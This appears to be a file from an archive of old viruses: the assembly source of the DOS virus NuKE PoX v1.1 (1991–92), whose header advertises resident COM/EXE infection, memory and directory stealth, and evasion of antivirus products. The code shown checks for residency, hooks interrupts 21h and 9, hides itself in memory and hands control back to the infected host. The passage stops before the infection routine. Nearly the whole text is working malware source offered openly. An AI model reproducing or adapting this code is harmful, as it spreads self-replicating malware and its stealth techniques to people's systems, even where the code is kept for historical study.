npox-v11.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-*      (c) Rock Steady, Viral Developments                             -*
;*-      (c) NuKE Software Developement  1991, 1992                      *-
;-*  Virus: NuKE PoX Version 1.1  (Alias: Evil Genius, NPox)             -*
;*-  ~~~~~~                                                              *-
;-*  Notes: Resident EXE & COM Infecting, Memory Stealth, Directory      -*
;*-  ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects     *-
;-*         COMMAND.COM on first Run, CTRL-ALT-DEL Aware...              -*
;*-  Bytes: 963 Bytes           Memory: 963 Bytes                        *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size      equ     last - init_virus                                  
mut1            equ     3                                                  
mut2            equ     1                                                  
mut3            equ     103h                                               
del_code        equ     53h                                                
                                                                           
seg_a           segment byte public                                        
                assume  cs:seg_a, ds:seg_a                                 
                org     100h                                               
rocko           proc    far                                                
                                                                           
start:          jmp     init_virus                                         
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                       Virus Begins Here...                               
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
init_virus:                                                                
                call    doit_now               ;Doit VirusMan...           
                                                                           
doit_now:       pop     bp                     ;Not to Lose Track          
                sub     bp,106h                ;Set our position           
                push    ax                     ;Save all the registers     
                push    bx                                                 
                push    cx                                                 
                push    dx                                                 
                push    si                                                 
                push    di                                                 
                push    bp                                                 
                push    es                                                 
                push    ds                                                 
                                                                           
                mov     ax,7bcdh               ;Are we resident Already?   
                int     21h                                                
                cmp     bx,7bcdh               ;Yupe... Quit Then...       
                je      exit_com                                           
                                                                           
                xor     bx,bx                                              
                push    cs                     ;Get CS=DS                  
                pop     ds                                                 
                mov     cx,es                                              
                                                                           
                mov     ax,3509h               ;Hook Int 9 Please...       
                int     21h                                                
                mov     word ptr cs:[int9+2][bp],es                        
                mov     word ptr cs:[int9][bp],bx                          
                                                                           
                mov     ax,3521h               ;Sometimes tend to intercept
                int     21h                    ;This Interrupt...          
                mov     word ptr cs:[int21+2][bp],es    ;Save the Int      
                mov     word ptr cs:[int21][bp],bx      ;Vector Table      
                                                                           
                dec     cx                     ;Get a new Memory block     
                mov     es,cx                  ;Put it Back to ES          
                mov     bx,es:mut1                                         
                mov     dx,virus_size          ;Size to `Hide'             
                mov     cl,4                   ;And all this crap hides    
                shr     dx,cl                  ;your number od bytes in DX 
                add     dx,4                                               
                mov     cx,es                                              
                sub     bx,dx                                              
                inc     cx                                                 
                mov     es,cx                                              
                mov     ah,4ah                 ;Call int to do it...       
                int     21h                                                
                                                                           
                jc      exit_com                                           
                mov     ah,48h                                             
                dec     dx                                                 
                mov     bx,dx                  ;It's Done... Yeah!         
                int     21h                                                
                                                                           
                jc      exit_com                                           
                dec     ax                                                 
                mov     es,ax                                              
                mov     cx,8h                  ;Here we move our Virus into
                mov     es:mut2,cx             ;the `Hidden' memory!       
                sub     ax,0fh                                             
                mov     di,mut3                                            
                mov     es,ax                                              
                mov     si,bp                                              
                add     si,offset init_virus                               
                mov     cx,virus_size                                      
                cld                                                        
                repne   movsb                                              
                                                                           
                mov     ax,2521h                ;Restore Int21 with ours   
                mov     dx,offset int21_handler ;Where it starts           
                push    es                                                 
                pop     ds                                                 
                int     21h                                                
                                                                           
                mov     ax,2509h               ;Restore Int9 with ours     
                mov     dx,offset int9_handler ;The Handler...             
                int     21h                                                
                                                                           
                push    cs                                                 
                pop     ds                                                 
exit_com:                                                                  
                cmp     word ptr cs:[buffer][bp],5A4Dh                     
                je      exit_exe_file          ;Its an EXE file...         
                mov     bx,offset buffer       ;Its a COM file restore     
                add     bx,bp                  ;First three Bytes...       
                mov     ax,[bx]                ;Mov the Byte to AX         
                mov     word ptr ds:[100h],ax  ;First two bytes Restored   
                add     bx,2                   ;Get the next Byte          
                mov     al,[bx]                ;Move the Byte to AL        
                mov     byte ptr ds:[102h],al  ;Restore the Last of 3 Bytes
                pop     ds                                                 
                pop     es                                                 
                pop     bp                     ;Restore Regesters          
                pop     di                                                 
                pop     si                                                 
                pop     dx                                                 
                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                mov     ax,100h                ;Jump Back to Beginning     
                push    ax                     ;Restores our IP (a CALL    
                retn                           ;Saves them, now we changed 
int21           dd      ?                      ;Our Old Int21              
int9            dd      ?                      ;Our Old Int9               
                                                                           
exit_exe_file:                                                             
                mov     bx,word ptr cs:[buffer+22][bp]  ;Load CS Regester  
                mov     dx,cs                                              
                sub     dx,bx                                              
                mov     ax,dx                                              
                add     ax,word ptr cs:[exe_cs][bp]        ;Get original CS
                add     dx,word ptr cs:[exe_ss][bp]        ;Get original SS
                mov     bx,word ptr cs:[exe_ip][bp]        ;Get original IP
                mov     word ptr cs:[fuck_yeah][bp],bx     ;Restore IP     
                mov     word ptr cs:[fuck_yeah+2][bp],ax   ;Restore CS     
                mov     ax,word ptr cs:[exe_sp][bp]        ;Get original SP
                mov     word ptr cs:[Rock_Fix1][bp],dx     ;Restore SS     
                mov     word ptr cs:[Rock_Fix2][bp],ax     ;Restore SP     
                pop     ds                                                 
                pop     es                                                 
                pop     bp                                                 
                pop     di                                                 
                pop     si                                                 
                pop     dx                                                 
                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                db      0B8h                   ;This is now a MOV AX,XXXX  
Rock_Fix1:                                     ;XXXX is the original SS    
                dw      0                      ;Our XXXX Value             
                cli                            ;Disable Interrupts         
                mov     ss,ax                  ;Mov it to SS               
                db      0BCh                   ;This is now a MOV SP,XXXX  
Rock_Fix2:                                                                 
                dw      0                      ;The XXXX Value for SP      
                sti                            ;Enable interrupts          
                db      0EAh                   ;JMP XXXX:YYYY              
fuck_yeah:                                                                 
                dd      0                      ;Dword IP:CS (Reverse order!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-